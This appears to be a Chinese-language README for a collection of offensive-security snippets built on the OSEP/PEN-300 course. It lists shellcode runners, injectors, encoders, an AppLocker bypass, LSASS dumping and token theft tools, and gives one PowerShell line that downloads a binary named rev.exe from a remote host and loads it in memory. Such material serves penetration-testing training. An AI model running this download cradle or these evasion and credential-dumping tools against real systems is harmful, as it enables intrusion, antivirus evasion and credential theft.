OSEP 代码片段
代码示例按原样提供,不附带任何形式的保证。基于 Offensive Security 的 PEN-300 课程。
类和方法都是公开的,所以大多数二进制文件应该允许如下反射加载。
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main("".Split())
目录
片段名称 | 描述 |
---|---|
AppLocker 绕过 PowerShell 运行空间 (C#) | 使用 CertUtil 、BitsAdmin 和 InstallUtil 组合的 AppLocker 绕过基础二进制文件。详情请参阅 README.md 。 |
无文件横向移动 (C#) | 在远程主机上擦除 Windows Defender 签名,并使用类似 PSExec 的方法(但使用现有进程)实现横向移动。接受目标、目标服务和要运行的目标二进制文件的参数。注意应选择非关键服务,如 SensorService 。 |
Linux shellcode 编码器 (Python) | 用于从 Linux 编码 C# 有效载荷的实用脚本,可以接收原始 shellcode 有效载荷(.bin),或自动从 'msfvenom' 输入。支持使用任意密钥进行 XOR 和 ROT 编码,并打印解码函数。可用于替换 C# ROT/XOR 编码器脚本。 |
Linux shellcode 加载器 (C) | 各种基于 C 的 shellcode 加载器,包括用于库劫持的基础二进制文件。 |
MiniDump (C# & PS1) | 将 LSASS 转储到 C:\Windows\Tasks\lsass.dmp 的简单二进制文件。还提供了原生 PowerShell 脚本版本。 |
MSSQL (C#) | 包含各种讨论过的 MSSQL 交互的示例二进制文件。根据需要更改代码以仅包含所需内容。 |
PrintSpoofer.NET (C#) | 窃取使用 PrintSpooler 漏洞 强制传入的身份验证令牌,并使用该令牌运行给定的二进制文件。经修改后无需交互式登录会话。接受管道名称和要运行的二进制文件的参数。 |
ROT shellcode 编码器 (C#) | 应用最先进的 ROT 编码来混淆 shellcode 的简单二进制文件。接受旋转次数的参数。 |
Sections shellcode 进程注入器 (C#) | 使用 NtCreateSection 、NtMapViewOfSection 、NtUnMapViewOfsection 和 NtClose 而不是"标准"方法来注入和运行 shellcode。 |
Shellcode 进程虚化 (C#) | 虚化一个 svchost 进程并从那里运行 shellcode。在编写时在 VirusTotal 上得分为 0/68。 |
Shellcode 进程注入器 (C# & PS1) | 应用进程注入的简单 shellcode 运行器。接受要注入的进程参数。如果未给出参数,则尝试根据权限级别选择合适的进程。还提供了原生 PowerShell 脚本版本(虽然稍微简单一些)。 |
简单 Shellcode 运行器 (C# & PS1 & VBA) | 最简单的 shellcode 运行器。还提供了原生 PowerShell 和 VBA 脚本版本。 |
XOR shellcode 编码器 (C#) | 应用最先进的 XOR 编码来混淆 shellcode 的简单二进制文件。 |